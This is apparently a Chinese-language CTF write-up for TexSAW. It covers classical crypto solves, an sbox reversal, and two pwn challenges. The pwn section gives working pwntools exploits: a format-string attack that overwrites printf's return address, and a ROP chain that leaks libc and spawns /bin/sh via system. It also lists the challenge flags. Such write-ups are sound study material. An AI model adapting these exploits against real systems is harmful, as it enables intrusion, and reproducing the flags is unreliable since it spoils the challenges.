Crypto
who-made-this-anyway
GMCAIVQOQYMDMRAWSRLTDXGFHHAKXEWKARAXKNPMSLZANWXLXIJWAXKIPRSRKHKNPATERXVVHRKNHLXYKNVPWLBTPIQOQAEALOZHAXKUOXXEWKWLMPCIPXWQLOBBRALHAEIKYTDHJQZEGXCQZEJWMSADAMLBEEOLEDWIJMSPWGIXRQKOBMLBCEULMWWTDXRRKEWEMQLLAUMQGFBKINMEJVCXFAHRWFKTKYMKVTDXOBQOJVIVGUDTZBLHADIVATOIVBLTULMJHLABHLFTNXEIDYJXIALOPXPIQOQMLXLTDHYDZSEGGBQOQKIXDRATHVZENXEKQWWRMPMPLHWBQOQTVBZENXXLXIJWXEWFHTKTWLHBAFDLPXPIQOQPLXLTDXJISGELXEWFHTKFKOIZLBQYKNJLMNZFI
删了空格的维吉尼亚真可恶,一点点手工切开才出来最后flag
I WILL TELL YOU WHAT THE FLAG IS THE FLAG IS OMGHEYYOUFOUNDME
texsaw{OMGHEYYOUFOUNDME}
key-reuse
两个密文
#200d1d2014071e152b1c1e022d2615100617112a0804
#20000035191102062C1016091334110B1703182A020D
a='200d1d2014071e152b1c1e022d2615100617112a0804'
b='20000035191102062C1016091334110B1703182A020D'
def getv(head):
for i in range(0x20,0x7f):
v2 = xor(bytes.fromhex(a), head+bytes([i]))
v3 = xor(bytes.fromhex(b),v2)
print(v2,v3, head+bytes([i]))
head = b'texsaw{'
getv(head)
xor(b'theflag'*4,bytes.fromhex(b))
#b'TheSuperDuperSecretKey'
xor(bytes.fromhex(a), b'TheSuperDuperSecretKey')
#b'texsaw{going_upstream}'
Venona
'''
===== PLAINTEXT MESSAGES =====
-OPERATION BLUE EAGLE MOVING TO SECTOR FOUR STOP REQUEST EXTRACTION AT BLUE EAGLE
-AGENT SUNFLOWER COMPROMISED NEAR HANOI STOP ABORT MISSION COMPROMISED
===== ENCRYPTED MESSAGES =====
-RCPZURNPAQELEPJUJZEGAMVMXWVWCTBMHKNYEEAZVXQWVKGMRVWXDLCANHLGY
-FLPDBSBQIGBJECHMIOZGJMQONXJANFPQYQPWIIONYKNERKHIABLJTPTAOZMDGZUTAESK
-KDPRMZZKNBECTGTKMKQOWXKCHMVNDOPQXUWJJLECUCLBQKKVDXJNUEYFIDAGVIUG
'''
两段明文和三段密文很容易对上号,但是怎么解呢。这张密码本有啥用。
看了下别人的WP,感觉是被误导了。这个图片的名字叫DIANA所以这个图的码表是DIANA的码表,而实际上就是vigenere的码表(DIANA的码表反大写字母顺序取返后移位,vigenere不取反直接移位)
按照这个码表通过明文密文对得到key(这个key很长是viginere那种循环的短key)再对第3个密文解密。
可恶的去空格,把解码后的明文分成单词,就可以得到flag
a = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
b = a #[::-1]
dic = []
for i in range(26):
dic.append(b)
b = b[1:]+b[:1]
print(dic)
v1= 'OPERATIONBLUEEAGLEMOVINGTOSECTORFOURSTOPREQUESTEXTRACTIONATBLUEEAGLE'
v2= 'FLPDBSBQIGBJECHMIOZGJMQONXJANFPQYQPWIIONYKNERKHIABLJTPTAOZMDGZUTAESK'
v1 = 'AGENTSUNFLOWERCOMPROMISEDNEARHANOISTOPABORTMISSIONCOMPROMISED'
v2 = 'RCPZURNPAQELEPJUJZEGAMVMXWVWCTBMHKNYEEAZVXQWVKGMRVWXDLCANHLGY'
k = ''
for i in range(len(v1)):
for j in range(len(dic)):
if v2[i] == dic[j][a.index(v1[i])]:
k+= a[j]
break
#k= 'RWLMBZTCVFQPAYHGXKNSOEDIUJRWLMBZTCVFQPAYHGXKNSOEDIUJRWLMBZTCVFQPAYHG'
c3 = 'KDPRMZZKNBECTGTKMKQOWXKCHMVNDOPQXUWJJLECUCLBQKKVDXJNUEYFIDAGVIUG'
def enc(k,v):
return ''.join([dic[ord(k[i%len(k)])-ord('A')][ord(j)-ord('A')] for i,j in enumerate(v)])
def dec(k,v):
return ''.join([chr(dic[ord(k[i%len(k)])-ord('A')].index(j)+ord('A')) for i,j in enumerate(v)])
dec(k,c3)
#'THEFLAGISWONTIMEPADWITHUNDERSCORESBETWEENWORDSWRAPPEDINTHEHEADER'
#THE FLAG IS WON TIME PAD WITH UNDERSCORES BETWEEN WORDS WRAPPED IN THE HEADER
Brainstorming
这个给的是二进制,经过几次解码得到下边这个。然后呢。感觉如果是椭圆曲线加密P = x*G这个结果怎么会这么小,而且IV是啥?
#二进制转数字,替换为16进制字符,再bytes
dic = {60:'0',61:'1',62:'2',63:'3',64:'4',65:'5',66:'6',67:'7',70:'8',71:'9',141:'A',142:'B',143:'C',144:'D',145:'E',146:'F'}
'''
secp256k1;Jkr:SmiFc,S&B,HChd,Trib,Photo;4OAK-L1;AS,KC,9D,10H;KH-PC-MULT-RS,KH-PC-MULT-RS,KH-PC-MULT-RS,KH-PC-MULT-RS;Vou:;Cons:;TG:;
Public Key: 03f3e48a2f1cc1862009fc9870abb15ce8c518cec484bd3c13324d1ce8b1a44188
IV: afe45a5920a00137904b1bdcb2c52bc7
Ciphertext: 2ecedcbbd781290a0960d5d3b0a7ec7f
'''
REV
xorer
拿到3个密文异或即可
Too early 4 me
'''
for ( i = 0; i <= 255; ++i )
v3[sbox[i]] = i;
printf("Decoded flag: ");
for ( j = 0; j <= 0x21; ++j )
putchar((unsigned __int8)v3[encoded_flag[j]]);
putchar(10);
'''
msg = open('chal','rb').read()
sbox = msg[0x3060:0x3160]
encoded_flag = msg[0x3020:0x3060]
v3 = [0]*0x100
for i in range(256):
v3[sbox[i]] = i
flag = [v3[encoded_flag[i]] for i in range(0x22)]
bytes(flag)
b'texsaw{how_signalicious_much_swag}'
PWN
ez_printf
两次printf,第一次泄露地址,第二次改printf的返回地址
puts("Haha my buffer cant be overflowed and there is pie, ill even let you read and print twice");
read(0, buf, 0x78uLL);
printf(buf);
read(0, buf, 0x78uLL);
printf(buf);
puts("nice try");
return 0;
from pwn import *
context(arch='amd64', log_level='debug')
p = remote('74.207.229.59', 20221)
#p = process('./vuln')
#gdb.attach(p, "b*0x555555555263\nc")
p.sendlineafter(b'\n', b'%25$p %24$p \n')
elf_base = int(p.recvuntil(b' '), 16) - 0x11b3
stack = int(p.recvuntil(b' '), 16) - 0x188 #printf.ret
print(f"{elf_base = :x} {stack = :x}")
win = elf_base + 0x118a
p.sendline(f"%{win&0xffff}c%8$hn".ljust(16,'\0').encode()+p64(stack))
p.interactive()
ez_ROP
只有一个sys_read和pop_rdi的gadget没有leave不能移栈。也不能控制rdx.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return sys_read(0, buf, 0x80uLL);
}
通过read控制rax,再加上pop_rdi造write泄露地址。这个可用的地址有点远,可能一下泄露不到。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('/home/kali/glibc/libs/2.40-1ubuntu3.1_amd64/libc.so.6')
p = process('./easy_rop')
#gdb.attach(p, "b*0x401126\nc")
bss = 0x404800
syscall = 0x401126
pop_rdi = 0x40112e
read = 0x40110a
ret = 0x401130
p.send(b'\0'*0x20 + flat(0, read-3,0, pop_rdi,1,0, syscall,0, read-3))
pause()
p.send(b'A')
pause()
p.send(b'\0'*0x20 + flat(0, read-3,0, pop_rdi,1,0, syscall,0, read-3))
pause()
p.send(b'A')
p.recv(0x80)
m2 = p.recv(0x80)
libc.address = u64(m2[0x70:0x78]) - 0x2a47b
print(f"{libc.address = :x}")
p.send(b'\0'*0x20+flat(0, pop_rdi, next(libc.search(b'/bin/sh\0')),0, libc.sym['system']))
p.interactive()
都没连不上远程,本地通。
后边的只允许12字符的c程序,真不清楚怎么弄。